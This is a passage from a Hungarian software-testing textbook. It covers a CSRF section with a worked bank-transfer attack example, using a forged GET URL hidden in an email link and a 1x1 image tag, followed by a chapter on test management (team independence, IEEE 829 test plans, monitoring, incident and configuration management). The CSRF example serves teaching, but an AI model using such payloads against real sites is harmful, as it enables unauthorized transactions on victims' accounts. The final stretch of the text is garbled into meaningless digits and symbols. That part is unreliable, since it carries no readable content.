végre, amiket a behatoló szeretne. Egy mezei felhasználó esetében egy sikeres CSRF támadás veszélybe sodorhatja a felhasználó adatait és tevékenységét. Ha a támadással megcélzott azonosító egy adminisztrátorhoz tartozik, akkor egy ilyen behatolás az egész webes alkalmazás biztonságát veszélyezteti. 6.13 Vonatkozó biztonsági intézkedések 6.131 Hogyan nézzünk át egy kódot CSRF sebezhetőséget keresve? A OWASP Code Review Guide cikkben olvashatunk arról, hogy hogyan nézzünk át egy kódot CSRF sebezhetőség reményében (Reviewing code for CSRF). 6.132 Hogyan teszteljük a CSRF sebezhetőséget? A OWASP Testing Guide cikkben olvashatunk arról, hogy hogyan teszteljük a CSRF sebezhetőséget (Test for CSRF). 6.133 Hogyan előzzük meg a CSRF sebezhetőséget? A OWASP CSRF Prevention Cheat Sheet dokumentumban olvashatunk a sebezhetőség megelőzéséről. Halgassuk meg a következő felvételt: OWASP Top Ten CSRF Podcast. Egy kiváló írás John

Melton tollából arról, hogy hogyan használjuk az OWASP ESAPI beépített anti-CSRF funkcióját: excellent blog post 6.134 Leírás Az „oldalakon keresztüli kérelem hamisítás” (CSRF) egy olyan támadás, ami trükkös módon ráveszi az áldozatot, hogy olyan weboldalt nyisson meg, ami káros kérelmet tartalmaz. Ez olyan értelemben káros, hogy örökli az áldozat személyazonosságát és privilégiumait és ezekkel felszerelve az áldozat nevében nem kívánt tevékenységet végez, mint például megváltoztatja az e-mail címet, a lakáscímet, a különféle jelszavakat vagy éppen vásárol valamit. A CSRF támadások általában olyan funkciókat céloznak, amelyek valamilyen 6-18 Szoftver tesztelés állapotváltozást idéznek elő a szerveren, de ezzel egy időben kényes információkat is megszerez. A legtöbb oldalon a böngészők automatikusan tárolják a legtöbb ilyesfajta kérelmet, ami bármilyen, a weboldalhoz tartozó igazoló adatot tartalmaz,

mint például a felhasználó session cookie-ját, alapvető bejelentkezési adatait, IP címét, Windows domain adatait, stb. Így ha a felhasználó éppen be van jelentkezve az oldalra, akkor az oldalnak esélye sincs a hamis kérelmet megkülönböztetni a a valódi felhasználói kérelemtől. Ez úton a támadó úgy intézheti, hogy az áldozat olyasmit csináljon, amit nem akart volna, például kijelentkezhet, vásárolhat valamit, hozzáférési információkat változtathat meg, hozzáférési információkat szerezhet vissza vagy bármi egyéb, a sérülékeny weboldal által kínált funkciókat hajthat végre. Néha lehetőség van arra, hogy a CSRF támadást magán a sérülékeny weboldalon tároljuk. Az ilyen sebezhetőségeket Tárolt CSRF hibának (Stored CSRF flaw) nevezzük. Ezt egyszerűen el lehet érni úgy, hogy egy IMG vagy IFRAME tag-et tárolunk egy olyan mezőben, ami elfogadja a HTML-t, de használhatunk jóval komplexebb kereszt-oldali szkriptelő

támadást is. Ha a támadás képes tárolni egy CSRF támadást az oldalon, akkor a behatolás súlyossága megnő. Valójában nagyobb annak a valószínűsége, hogy az áldozat a támadást tartalmazó lapot nézi, mint egy másik, véletlenszerűen kiválasztott lapot az interneten. A valószínűség azért is nő, mert az áldozat már biztosan be van jelentkezve az oldalra. Szinonímák: a CSRF támadások sok más néven is ismerik, mint például: XSRF, "Sea Surf", Session Riding, Cross-Site Reference Forgery vagy Hostile Linking. A Microsoft „Egykattintásos” támadásként (One-Click attack) hivatkozik erre a a fajta támadásra a fenyegetlés modellező folyamatában és sok más helyen az online dokumentációkban. 6.135 Megelőzési módszerek, amik NEM MŰKÖDNEK Titkos cookie használata Emlékezzünk arra, hogy minden cookie – még a titkosak is – elküldésre kerülnek minden kérelemmel. Minden azonosító token elküldésre kerül attól

függetlenül, hogy a felhasználót csalással vették-e rá a kérelem elküldésére. Sőt, a session azonosítókat egyszerűen arra használja az alkalmazás tárolója, hogy összekapcsolja kérelmet egy bizonyos session objektummal. A session azonosító nem ellenőrzi, hogy a felhasználónak szándékában állt-e elküldeni a kérelmet. Csak utólagos kérelmeket (POST request) fogadunk el Az alkalmazásokat úgy is fel lehet építeni, hogy csak utólagos kérelmeket (POST request) fogadjanak el az üzleti logika alkalmazása végett. A tévhit az, hogy mivel a támadó nem tud káros hivatkozást összerakni, így a CSRF támadás nem kivitelezhető. Sajnos ez a logika nem helytálló. Számos olyan módszer van, amivel a támadó trükkös módon ráveheti az áldozatot, hogy elküldjön egy hamisított utólagos kérelmet, például egy egyszerű űrlap formájában, ami a behatoló oldalán van tárolva és rejtett értékeket tartalmaz. Ezt az űrlapot aztán a

JavaScript könnyen aktiválhatja, de megteheti ezt az áldozat is, aki azt hiszi, hogy az űrlap valami mást fog csinálni. 6.136 PÉLDÁK Hogyan működik a támadás? Számos módja van annak, hogy trükkel rávegyük a felhasználót, hogy töltsön be vagy küldjön információt egy webes alkalmazásból/ba. A támadás kivitelezése céljából először azt kell 6-19 Szoftver tesztelés átlátnunk, hogyan hozzunk létre olyan káros kérelmet, amit az áldozat végre fog hajtani. Vegyük szemügyre a következő példát: Aliz 100 dollárt szeretne utalni Robinak a bank.com oldalon keresztül. Az Aliz által generált kérelem nagyjából a következőképpen fog kinézni: POST http://bank.com/transferdo HTTP/11 . . . Content-Length: 19; acct=BOB&amount=100 Mária azonban észreveszi, hogy ugyanaz a webes alkalmazás, a következő URL paraméterekkel hajtja végre ugyanazt az átutalást: GET http://bank.com/transferdo?acct=BOB&amount=100 HTTP/11 Mária úgy

dönt, hogy kihasználja a webes alkalmazás eme gyenge pontját és Aliz lesz az áldozata. Először is Mária megszerkeszti a következő URL-t, ami át fog utalni 100000 dollárt Aliz számlájáról az övére: http://bank.com/transferdo?acct=MARIA&amount=100000 Most hogy a káros kérelme elkészült, Máriának trükkel rá kell vennie Alizt, hogy elküldje azt. A legalapvetőbb módja ennek az, hogy küld Aliznak egy HTML e-mailt, ami a következőket tartalmazza: <a href="http://bank.com/transferdo?acct=MARIA&amount=100000">View my Pictures!</a> Feltéve, hogy Aliz be van jelentkezve az alkalmazásba, mikor rákattint a hivatkozásra, a 100000 dollár átvitele Aliz számlájáról Mária számlájára végbe fog menni. Azonban Mária azt is tudja, hogy ha Aliz rákattint a hivatkozásra, akkor észre fogja venni, hogy valamiféle tranzakció történt. Ezért Mária úgy dönt, hogy egy 0 bájtos képbe rejti a támadást: <img

src="http://bank.com/transferdo?acct=MARIA&amount=100000" width="1" height="1" border="0"> Ha ezt a kép tag-et beleteszi az email-be, akkor Aliz csak azt fogja látni, hogy egy kis doboz jelenik meg, mintha a böngésző nem tudta volna feldolgozni a képet. Azonban a böngésző ETTŐL FÜGGETLENÜL elküldi a kérelmet a bank.com oldalnak anélkül, hogy a tranzakciónak bármilyen látható jele lett volna. 6-20 Szoftver tesztelés Tartalomjegyzék 6 Biztonsági tesztelés . 6-1 6.11 6.2 Működés ellehetetlenítése – Cache Mérgezés . 6-2 Adatszerkezet támadás - Bináris forrás fájl túltöltése. 6-4 6.21 Leírás . 6-4 6.22 Példák . 6-4 6.3 Kártékony kód beágyazása – Logikai/Időzített bomba. 6-6 6.31 Leírás . 6-6 6.32 Kockázati tényezők . 6-6 6.4 Trójai . 6-6 6.41 Leírás . 6-6 6.42 A Trójai 7 fő típusa . 6-6 6.43 Tünetek. 6-7 6.44 Kockázati tényezők .

6-7 6.5 Azonosítási folyamat kihasználása – Account kizárási támadás . 6-7 6.51 Leírás . 6-7 6.52 Például: eBay támadás . 6-8 6.6 Befecskendezés – Közvetlen statikus kód befecskendezése . 6-8 6.61 Leírás . 6-8 6.62 Példák . 6-8 Példa 1 . 6-8 Példa 2 . 6-8 6.7 „Útkeresztezési támadás” (Path Traversal Attack) . 6-9 6.71 Áttekintés . 6-9 6.72 Leírás . 6-9 Kérelem változatok. 6-9 6.73 Példák . 6-10 Példa 1 . 6-10 Példa 2 . 6-10 Példa 3 . 6-11 Példa 4 . 6-11 6.74 „Abszolút útkeresztezés” (Absolute Path Traversal). 6-11 6-21 Szoftver tesztelés 6.8 „Próbálgatásos technikák – Nyers Erő támadás” (Probabilistic Techniques - Brute force attack) . 6-12 6.81 Leírás . 6-12 6.82 Példák . 6-12 Példa 1 . 6-12 6.83 Védelmi eszközök . 6-14 6.84 „Protokol Manipuláció – http Válasz Elosztás” (Protocol Manipulation - Http Response Splitting) . 6-14 6.9

„Erőforrás kimerítés” (Resource Depletion - Asymmetric resource consumption (amplification)) . 6-15 6.91 Leírás . 6-15 6.92 PÉLDÁK . 6-15 Példa 1 . 6-15 Példa 2 . 6-16 Példa 3 . 6-16 6.10 „Erőforrás Manipuláció – Kémprogram” (Resource Manipulation – Spyware). 6-16 6.101 Leírás 6-16 6.102 KOCKÁZATI TÉNYEZŐK 6-17 6.11 „Szimatoló támadás – Hálózati Lehallgatás” (Sniffing Attacks - Network Eavesdropping) . 6-17 6.111 Leírás 6-17 6.112 PÉLDÁK 6-18 6.12 „Átverés – oldalakon keresztüli kérelem hamisítás” (Spoofing - Cross-Site Request Forgery (CSRF)) . 6-18 6.121 Áttekintés 6-18 6.13 Vonatkozó biztonsági intézkedések . 6-18 6.131 Hogyan nézzünk át egy kódot CSRF sebezhetőséget keresve? 6-18 6.132 Hogyan teszteljük a CSRF sebezhetőséget? 6-18 6.133 Hogyan előzzük meg a CSRF sebezhetőséget? 6-18 6.134 Leírás 6-18 6.135 Megelőzési módszerek, amik NEM MŰKÖDNEK 6-19 6.136

PÉLDÁK 6-19 Hogyan működik a támadás? . 6-19 6-22 Szoftver tesztelés 6-23 Szoftver tesztelés 7 Teszt menedzsment A tesztelési tevékenység a fejlesztési folyamat szerves része. A tesztelés helyét a fejlesztési folyamatban a V modell szemlélteti. Ebben a fejezetben áttekintést adunk arról, hogy • • hogyan kell megszervezni és irányítani a tesztelést, hogyan illeszthető be a tesztelés a fejlesztési folyamat menedzsmentjébe. A tesztelésnek a fejlesztési folyamatba illesztése során az alábbi szempontokat kell figyelembe venni. A tesztelés helye a fejlesztő csoportban Megvizsgálandók a következő kérdések: • • • A tesztelők függetlensége. A független tesztelői szervezet hasznai és hátrányai A teszteléshez szükséges szerepkörök. A tesztmérnök (test designer) és a tesztelő (tester) feladatai. Teszt tervezés • • • • A teszt tervezés szintjei. A teszt tervezés célja és a teszt specifikáció, teszt

terv tartalma az IEEE 829 szabvány szerint. A teszt előkészítés és a teszt végrehajtás lépései. A teszt elfogadási kritériumai a tesztelés különböző szintjein. A tesztfolyamat ellenőrzése és követése • • A teszt tervezés és végrehajtás metrikái. A tesztelési tevékenység előrehaladásának dokumentálása az IEEE 829 szabvány szerint Konfiguráció menedzsment • Hogyan támogathatja a konfiguráció menedzsment a tesztelési folyamatot. Kockázatok és a tesztelés • • A tesztelés a fejlesztési kockázatok csökkentésének egyik eszköze. A fejlesztési és a termék kockázat fogalma. Incidens menedzsment • Az incidens fogalma. 7-1 Szoftver tesztelés • Indicens jelentés és annak tartalma. A továbbiakban a fenti szempontok közül a legfontosabbakat elemezzük. 7.1 A tesztelés szervezeti keretei A megfelelő tesztelő szervezet felállítása az első lépés egy sikeres tesztfolyamat elvégzéséhez. Fontos, hogy az

adott feladathoz legmegfelelőbb szakembereket válogassuk bele a tesztcsapatba. A tesztcsapat összeállítása a teszt tárgyát képező projekttől függ Mivel a tesztelés a minőségbiztosítás része, azaz egyfajta értékelés, melynek eredménye nem minden esetben pozitív, ezért fontos lehet egy olyan tesztcsapat összeállítása, amely képes objektíven értékelni a programozók munkáját. Először a tesztcsapat függetlenségének mértékét kell meghatároznunk. A függetlenség teljes hiánya esetén a tesztelők maguk a programozók, akik a teszteket a programozói csapaton belül végzik el. Következő szint, amikor egy integrált tesztcsapat a programozók mellett dolgozik, továbbra is a programozó team tagjaként, jelentési kötelezettséggel a fejlesztési menedzser felé. Az ezt követő szinten a fejlesztési csapattól független tesztcsapat áll, akik jelentéseiket a projektmenedzsernek írják. A legfelsőbb szint, a teljes függetlenség, ahol a

tesztelési feladatokat végző különálló tesztcsapat, aki ugyanannak a szervezeti szintnek készíti a jelentéseket, mint a fejlesztési team. A tesztelő csapat függetlenségi szintjeit foglalja össze az alábbi ábra: 7-1. ábra A tesztelő függetlensége A különböző területi szakértők (mint például az üzleti szakértők, technológiai szakértők, tesztautomatizálási szakértők, biztonsági tesztelők, tanúsítványtesztelők) külön független tesztcsapatokat is alkothatnak a szervezeten belül, vagy egy külön szerződtetett tesztcsapat csoportjaiként. 7-2 Szoftver tesztelés Egy független tesztelő több más jellegű hibát vehet észre, mint aki a programozókkal együtt dolgozik, vagy maga is programozó, mivel más rálátása lehet a projektre, illetve észrevehet olyan problémákat is, amik a fejlesztő csapat gondolkodásmódjából erednek. Valamint egy független tesztelő, aki a vezetői menedzsernek írja jelentéseit, őszinte tud

maradni, hiszen nem kell annak negatív következményeivel számolnia, hogy munkatársait bírálja, vagy menedzsere munkájának hibáira mutat rá. Egy független tesztcsapat rendelkezhet elkülönített költségvetéssel és vezetéssel, így annak tagjai is nagyobb eséllyel pályázhatnak majd jobb munkahelyi pozíciókra, hiszen nincsenek a programozók alá vagy mellé rendelve. A független tesztcsapat hátránya lehet viszont a projekttől vagy annak részeitől való elszigetelődés. Ha a tesztelő ismeri az adott programozók általános gondolkodásmódját, nagyobb eséllyel fedezi fel annak hibáit. Rosszabb esetekben előfordulhat az is, hogy a projektet nem teljesen ismerve túlzott figyelmet szentelnek annak bizonyos részegységei hibáinak feltárására, így más jellegűeket elhanyagolhatnak. Ez a kommunikációs probléma ellenszenvhez, elidegenedéshez, vádaskodáshoz vezethet. A jól integrált csapatok is szembesülhetnek hasonló problémákkal, például

a tesztelők joggal vagy jogtalanul, de gondolhatják, hogy alá vannak rendelve a programozói teamnek, a projekt többi résztvevője gondolhatja úgy, hogy a tesztelés lassítja a projekt előre menetelét, és a tesztcsapat miatt késnek a határidőkkel. A programozók feleslegesnek tarthatják kódjaik ellenőrzését, hiszen úgyis van saját tesztcsapatuk. Gyakori eset, hogy a vállalatok vágyva a független tesztelés előnyeire csak azért hoznak létre ilyen csapatokat, hogy hogy hamarosan feloszlassák őket. Oka, lehet, hogy a tesztmenedzser sikertelen a fenti problémák hatékony kezelésében. A tesztelés függetlenségének megállapításához tehát nem létezik egyedüli helyes út. Minden egyes projekthez, a projekt alkalmazási területét, kockázatszintjét, komplexitását figyelembe véve kell döntenünk. Lehetséges természetesen a projekt előrehaladásával annak különböző szintjein változtatnunk a tesztcsapat függetlenségén és

összetételén. Vannak tesztek, amiket célszerűbb, a mások végeznek el, más területek szakértői a projekt tárgyától függően. 7.2 A tesztmérnök és a tesztelő feladatai Láthattuk, hogy tesztcsapat típusaiból és az azokban betöltött feladatkörökből is többféle van. A két legalapvetőbb a tesztmérnök (tesztvezető) és a tesztelő, ezek a legtöbb tesztelő szervezetben megtalálhatóak. A tesztvezető elsődleges feladata a tesztelési feladatok tervezése, azok végrehajtásának felügyelete és levezetése. Egy projekt indulásakor a tesztvezetők a projekt többi résztvevőjével együttműködve meghatározzák a tesztelés céljait, szabályait, a tesztelési stratégiákat és a tesztterveket. A tesztvezető a projekt indulása előtt felbecsüli a tesztelési folyamathoz szükséges erőforrásokat. Feladata felismerni a tesztautomatizálási lehetőségeket, és egyeztetni a projekt többi csoportjával, például a fejlesztőkkel, hogy azok

hogyan lehetnek a tesztelési folyamat segítségére. A tesztvégrehajtás közeledtével 7-3 Szoftver tesztelés biztosítaniuk kell a teszteléshez szükséges környezet meglétét, majd irányítják, időzítik és felügyelik a tesztfolyamatokat. Az ő feladatuk megírni az összefoglaló jelentéseket az aktuális tesztállapotokról. Valószínűleg a teszt végrehajtás megkezdése előtt nem lesz szükség a tesztelők munkájára, de érdemes őket már a projekt indulásakor alkalmazni. A tesztelés tervezési és előkészítési időszakában a tesztelőknek meg kell ismerniük a teszttervet, és közre kell működniük annak esetleges javításában, meg kell ismerniük a követelményeket, és a műszaki teszttervspecifikációk elemzését. Gyakran a tesztelők állítják be a tesztkörnyezetet, vagy ők segítik ebben a rendszeradminisztrátorokat. A tesztek megkezdésével első feladatuk a tesztek tesztkörnyezetbe való implementálása. A tesztfolyamat

során a tesztelők hajtják végre és naplózzák a teszteket, majd kiértékelik és elemzik azokat. 7.21 A tesztelés résztvevői számára szükséges képességek A tesztcsapat összeállítása során figyelembe kell vennünk, hogy nem elegendő a tesztkörnyezet megléte, a feladatkörök kiosztása és a létszám meghatározása. Ügyelnünk kell arra, hogy a megfelelő pozíciókba a megfelelő emberek készségekkel és képesítéssel rendelkező emberek kerüljenek. Egy tesztelőnél alapvető szakmai és szociális követelmény például az olvasási készség, jelentések szóban és írásban történő elkészítésének készsége, illetve a hatékony kommunikációs képesség. Ezen felül a projekt jellegének és céljának megfelelően a következő három szempont szerint kell megvizsgálnunk, milyen követelményeknek kell megfelelniük a tesztcsapat tagjainak: Alkalmazási és üzleti terület Fontos, hogy a tesztelő megértse az adott szoftver

működésének lényegét, így felismerje az azzal szemben támasztott elvárásokat, így megtalálja a kiemelt fontosságú, kritikus pontokat. Technológia A tesztelőnek ismernie kell a választott implementációs technológia képességeit és korlátait, hogy képes legyen beazonosítani a felmerülő problémák eredetét. Tesztelés A tesztelőnek ismernie kell a tesztelési folyamatok elméletét, hogy eredményesen és határozottan tudja végezni munkáját. A különböző területeken szükséges szakértelem szintje és annak szükségessége a szervezettől, az alkalmazásoktól és a kockázattól függően eltérhet. Tipikus hiba a fejlesztési folyamatok szervezésében, hogy a projekt menedzsment hajlamos alábecsülni a tesztelési szaktudás szükségességét. 7-4 Szoftver tesztelés 7.3 Teszt tervek, becslések és stratégiák A teszt terv az elvégzendő tesztelési munka projektterve, nem pedig műszaki teszt terv specifikáció vagy tesztesetek

gyűjteménye. A teszt terv a teszt menete folyamán változik, megjegyzésekkel bővülhet, így válik lassan a projektcsapat megbeszéléseit, egyeztetéseit rögzítő naplóvá. A teszt tervek különböző szintjeit és a tervek elkészítését befolyásoló tényezőket foglalja össze az alábbi ábra: 7-2. ábra Teszt tervek Ha teszt tervet készítünk, érdemes sablont használnunk, így nehezebben felejtünk ki kritikus pontokat. Használható az IEEE 829-es sablon Ezen sablon alapján egy teszttervnek a következőket kell tartalmaznia: 1. Tesztterv azonosító 2. Bevezető 3. Tesztegységek A tesztelés tárgyának a meghatározása. Tartalmazhat hivatkozásokat más dokumentációkra, például rendszer tervekre. 4. Tesztelendő funkciók A tesztelés céljának meghatározása (funkciók, nem funkcionális követelmények). 5. Nem tesztelendő funkciók Olyan követelmények, amelyeket nem szükséges, vagy nem lehetséges tesztelni. 6. Szemléletmód 7-5

Szoftver tesztelés A tesztelés módszerének leírása. Hivatkozhat más dokumentumra, például a tesztelési stratégia leírására. 7. Elem helységének / hibájának feltétele Annak a feltételnek a specifikációja, aminek alapján eldönthető, hogy egy rendszer elem megfelel-e a teszt kritériumoknak. 8. Felfüggesztési / újrakezdési feltételek A teszt felfüggesztésének és újrakezdésének kritériumai. 9. Átadandó tesztkimenetek Azok a dokumentumok, amelyek a tesztelési tevékenység eredményeit tartalmazzák. Például: • teszt tervek, • teszt specifikációk az egyes tesztelési szintekhez, • teszt futtasások jegyzőkönyvei. 10. Tesztfeladatok A tesz tervezéshez és végrehajtáshoz szükséges tevékenységek összefoglalása. 11. Környezeti igények A tesztek végrehajtásához szükséges hardver és szoftver környezet specifikációja. 12. Felelősségek A tesztelési tevékenységhez szükséges szerepkörök és azok feladatainak leírása.

13. Személyzeti és képzési igények A tesztelési tevékenységhez szükséges szakemberek és azok szükséges szakértelmének meghatározása 14. Ütemterv A tesztelési tevékenység ütemterve, a meghatározott határidőkre végrehajtandó tevékenységek és elkészítendő dokumentumok meghatározása. 15. Kockázatok és előre nem látható események Az előre megbecsülhető kockázatok és azok elkerülésének / minimalizálásának terve 16. Jóváhagyások Annak meghatározása, hogy ki jogosult a dokumentumok elfogadására. A tesztterv írásának célja, hogy végiggondoljuk a teszt menetét, hisz amit végiggondolva képesek vagyunk szóba foglalni, azt értjük is. Egy jó tesztterv rövid és lényegre törő, így megírása nem egyszerű feladat. Magas szinten át kell gondolnunk a tesztelési munka célját Ehhez meg kell határoznunk, hogy mi tartozik az adott teszthez, és mi nem, meg kell értenünk a termékkockázatokat és ismernünk kell a

teszttelés lehetséges korlátait (például anyagi vagy időkorlát). Ezek után fel kell osztanunk a feladatokat, a tesztelés különböző szintjeire. Ezután egyeztetnünk kell a szintek közti átmeneteket, majd meghatároznunk, hogy mely információkat kell átadnunk a teszt végén a karbantartó csapatnak. Ehhez meg kell határoznunk, hogy milyen állítások lennének igazak egy olyan projektre, amin sikeresen elvégezték a tesztelést, azaz specifikálnunk kell minden teszt esetén annak belépési és kilépési feltételeit. 7-6 Szoftver tesztelés 7.4 A tesztfolyamat ellenőrzése és követése A teszt terv meghatározza, hogy milyen tevékenységeket kell végrehajtani. A tesztelési folyamat során folyamatosan nyilván kell tartani, hogy az előírt feladatok közül mit, és milyen eredménnyel hajtottunk végre az adott időpontig. A teszt monitorig célja a tesztelési tevékenység előrehaladásának a követése. A tesztelés előrehaladását jelző

adatok összegyűjtése történhet manuálisan, nyilvántartva azokat egy papírlapon, vagy egy Excel táblában, de hatékonyabb a teszt automatizálási eszközök használata. A teszt folyamat előrehaladását mérőszámokkal jellemezhetjük Alkalmazható mérőszámok: • • • • A használati esetek hány százalékára készült teszt terv. A megtervezett tesztesetek hány százaléka lett végrehajtva, ebből mennyi a hiba nélküli. Kód lefedettségi mérőszámok. A tesztelési határidőkre az adott határidőre tervezett tevékenységek hány százaléka lett végrehajtva. Ahhoz, hogy a projekt menedzsment áttekinthesse a munka előrehaladását, gyakran alkalmazunk grafikonokat a fenti mérőszámok szemléltetésére. 7.41 Teszt jegyzőkönyvek A tesztelési tevékenység előrehaladásáról a teszt vezető a tesztelők által készített jelentésekből tájékozódhat. Ezek a jelentések tartalmazhatják az alábbiakat: • • Milyen tevékenységeket

hajtottak végre az adott időszakban. A végrehajtott tevékenységeket jellemző metrikák, amelyekkel megbecsülhető, hogy mennyi hiba maradt még a rendszerben, illetve mennyi erőforrást igényelhet a maradék hibák felderítése. Az IEE 829 szabvány a teszt előrehaladási jegyzőkönyvre az alábbi tartalomjegyzéket javasolja: 1. 2. 3. 4. 5. 6. Teszt jegyzőkönyv azonosító Összefoglalás Általános értékelés Eredmények összegzése Előrehaladás A tevékenységek összefoglalása 7.42 Teszt folyamat ellenőrzése A fenti információk értékelésével a tesztmérnök képes követni a tesztelési tevékenység előrehaladását, és összevetheti azt a teszt tervben előírt határidőkkel. Az így nyert információk birtokában, ha szükségesnek látja, módosíthatja a tesztelési tervben foglaltakat. 7-7 Szoftver tesztelés Lehetséges tevékenységei: • • • • Átértékeli a tesztek prioritásait, ha úgy látja, hogy előre nem látható

kockázatok léptek fel. Megváltoztatja a teszt ütemtervet. Megváltoztatja a teszt kritériumokat,a megváltozott prioritásokhoz igazítva. Átértékeli a termék kockázatokat, és ennek megfelelően módosítja a tesztelési tervet. A tesztelés előrehaladásának értékelése során a teszt vezető olyan problémákat is felderíthet, amelyeknek megoldása meghaladja a hatáskörét. Ilyen esetekben a projekt menedzserrel kell egyeztetnie, és például az alábbiakat tanácsolhatja: • • • Egyes kevésbé fontos funkciókat ki kell venni a követelmény listából, hogy a határidőt tartani lehessen. Módosítani kell az átadási határidőt, hogy a még szükséges tesztelési tevékenységeket végre lehessen hajtani. Át lehet adni a rendszert, de a felhasználóval tudatni kell, hogy bizonyos funkciók még nem lettek alaposan tesztelve. Ilyenkor az üzemszerű használat mellett folytatódhat a tesztelés. Ez abban az esetben lehet alternatíva, ha a gyengén

tesztelt funkciók a gyakorlatban ritkán fordulnak elő. 7.5 Incidens menedzsment Az incidens a rendszer nem tervezett, váratlan viselkedése, amely további vizsgálatokat igényel. A tesztelés időszakában az incidensek fellépése gyakori lehet, de a rendszer váratlan viselkedése az éles használat közben is jelentkezhet. Az incidens kezelés az IEEE 1044 (Standard Classification for Software Anomalies) szabvány szerint: „ A specifikációtól eltérő viselkedés felismerése, megvizsgálása, és az elhárítására tett intézkedések együttese.” Az incidensek jelentése a tesztelési folyamat során igen gyakori tevékenység. Eszköze lehet egy telefonhívás, egy feljegyzés, egy e-mail. Ezeknek az ad-hoc eszközöknek az előnye az egyszerűség és a gyorsaság, de hátrányuk, hogy a jelentésnek nem marad nyoma, és a megoldás státusza nem követhető. Ezért az incidensek jelentésére célszerű valamilyen erre a célra dedikált szoftvert használni.

Ezek az eszközök az incidens jelentésétől annak megoldásáig képesek követni a folyamatokat. Erre alkalmas eszközökre a jegyzet későbbi fejezetébe láthatunk példát. 7.6 Konfiguráció menedzsment A fejlesztés folyamata a jelenleg használt inkrementális fejlesztési stratégia alapján a szoftver különböző verzióinak előállítását jelenti. Ez a tesztelési folyamatra nézve azt jelenti, hogy a teszteket a rendszer egymás után következő verzióira kell elvégezni. 7-8 Szoftver tesztelés A rendszer fejlődése során a korábbi rendszer verziókra lefuttatott teszteket a továbbfejlesztett verziókra is le kell futtatni, bizonyítva azt, hogy a továbbfejlesztés nem okozott hibát a korábban már implementált funkciók végrehajtásában. Az inkrementális fejlesztési stratégiát követve tehát a rendszer, és annak helyességét ellenőrző tesztesetek számos verziója keletkezik. Az egyes verziókhoz tartozó forráskódok, dokumentációk

és tesztesetek nyilvántartására és kezelésére célszerű valamilyen verziókezelő rendszert használni. A jegyzet írás idején a legtöbbet használt rendszerek erre a célra az SVN és a Maven programok. Ezek free szoftverek 7-9 Szoftver tesztelés Tartalomjegyzék 7 Teszt menedzsment . 7-1 7.1 A tesztelés szervezeti keretei . 7-2 7.2 A tesztmérnök és a tesztelő feladatai . 7-3 7.21 A tesztelés résztvevői számára szükséges képességek . 7-4 7.3 Teszttervek, becslések és stratégiák . 7-5 7.4 A tesztfolyamat ellenőrzése és követése . 7-7 7.41 Teszt jegyzőkönyvek . 7-7 7.42 Teszt folyamat ellenőrzése . 7-7 7.5 Incidens menedzsment . 7-8 7.6 Konfiguráció menedzsment . 7-8 7-10 1234567096 56535 56 56353573 33356 363!"5 39#534326$#6567333 6 523 355%&6535963336567&6(65 356

566666(265656626563%623 !7)66569 633356 56663326)6 667667 23665 67*576 56 56556&6"5)56 5656%55359$6567 6) 67623 235!56 53333)666265 235)9+6"5673%%6656656265&3676()6659 $#6567 ,)633356726656 562646 %567763  233633( 575776(66766 6 %66 66(665556676339 + 56726656 56533372656667563)"5 %77!(- %5676656766(6335.2)6%65265 2)6(73/52)3.53326)566/6"7 & 3&556 56&659,63%6&66565356726656 56 6(353432647&65$#65676*3335535&69 $#656736)6726536%536(90 1$2313(35 %77$33&6556726656 56763339 $#6567 )3

656676(666)66"56 3! 67*6 235&3%623 !35653&56 5656764 095676.7("5/4 ("5 6"566265 33%6 23 !76 6565565359$#6567535&33 53("55.3765553 6565/353 5676 546 *("55.46765537 /3-) 53656 67*("556)66(33!656 67 %733 235!9 8959157676.9367/47623&5%)3355679 :95 6756.; "5/46 67675 3763(35356679 <95= 147>)67676.= 147>) 6767/447>) 676746657 3 3 676755%733565556 566565 %623 235&9 ?9525756(3(5656., 55556726656 56/4$#6567 6767 !(346%55$#656767)"53")6 555567 26656 56562656233 676756&6"5)5 56 56&3%35

73 69 0 012341562489 482 141415146216244482 141 585444 191415145414 51 !" ##$13%&()*+()9849# ,-##111314#1141." 12$13%8$5 5534151462131 /23101249421% 854&$559 382,1418992# 444 4 348555)559 38264 619%414$+ 22#5+$ /423%414 2385$ 7831$192# 152344441234156213 95458# 855 559 3826444414115%24828 3 #% /$48# 56$9141# 4854&:%2 ;2544,$ /9141215523%414 &<%=$ /5%=544,%24215 012341214 59 +6234621626415913621 14121 426 6$15 14115 2385%15151461# 5 52 5% 158# 2311314#1 584 4 338 2 4415191146212196/114+##52 5% 15#   338 2 4415191%91141584 4+62%8582$6 131415%21 14195/9 43 4412341214+915/$6 1 421" 52

444459 3341234121441234/61519101234121413 15/%911# 5&##5%29 4,2 4 33815191143>22? 911 44$85234$ 312$3561/982%15191>; #1?&9 2,+915/41234 12141396  338192 444123415191144459 339 2  2651413141%8%5+9 3 4 43415#341234 12141344 21%85%2#1855482%511426 11544511451 1 /2310##4123412141 1123415 #1944%1 /@00*231$141234156264%21412341214 152151911 />41 2?&23852 4,>41 2?19982+ 9%415191551%%211 /12>41 2?$2385284 5" 9 38$56215#3%8%$5121513% # 552 5% 15#14123412141##1 6 9## 544%4$+623>22? 911 44$85234$+ 338 2 41 />41 2?1519144123412" 1413-3148# 552 5% 15#1>41 2?151914%$85234$+ ##52 5% 15#1$6 1314115%85824

012341562489 482 1012342 45641 3821411 1413!"85821855#482614!115$ %& 91(&6)$114 * 4+85434551 1 231,412341214 65-.1 4%41 1519/2 -6191215113!14 *62!1191 4.+/5341434 0%&91"01 .2(13851389 )$6 1 +48228"15 2385 42 23852389 .123851 *4 8"15 23852 "151591 -9151 1 *.1+,51  +4+86 12 4 31154"15 44 %3 9451.(6!3)$1411 *%41 .5821 * 23854.#415-62"5*9 4281 1514121.#4+1537+23854 8.!386251541462215-9#151962385238988591 449 9 985264614 :%; < 4(6296456211389 )$64491 . 42- *%41 .  51!"858*23"442251 3381.154151911435185 5#4821 *= % 11(6 4151)5114!26 1485234+-41234156241 151914."444+7+627+%41

-9#5119855#4+ >%11.51(?41913!)$3582621"1+13628498462! 4+8485 5#4 4+165*1191556331551855#4 = 65.8523852389840@@(0@@2395854"15 23852)-3!34 1 *982.116232964562123898401855#4+(9166264231 1/515/5.621)-2231216 *23836624" 51/5.1312339!50@@0@@3151 *.!1" 5 012341562489 482 315311 338  4441 151914  238541  81 6 9 54441591!5348 " 9519 #00$%1&12491! 4485234  55 5 155#00$%1&124151914852345 5  15115191 3153165(2231414418582 15 )316123111855*4826141159151(3!568 1514621585+16261 64159,1855*482.$4/50$4551-2461#00$ #00$"5114 3414 04+2311-#00$66265

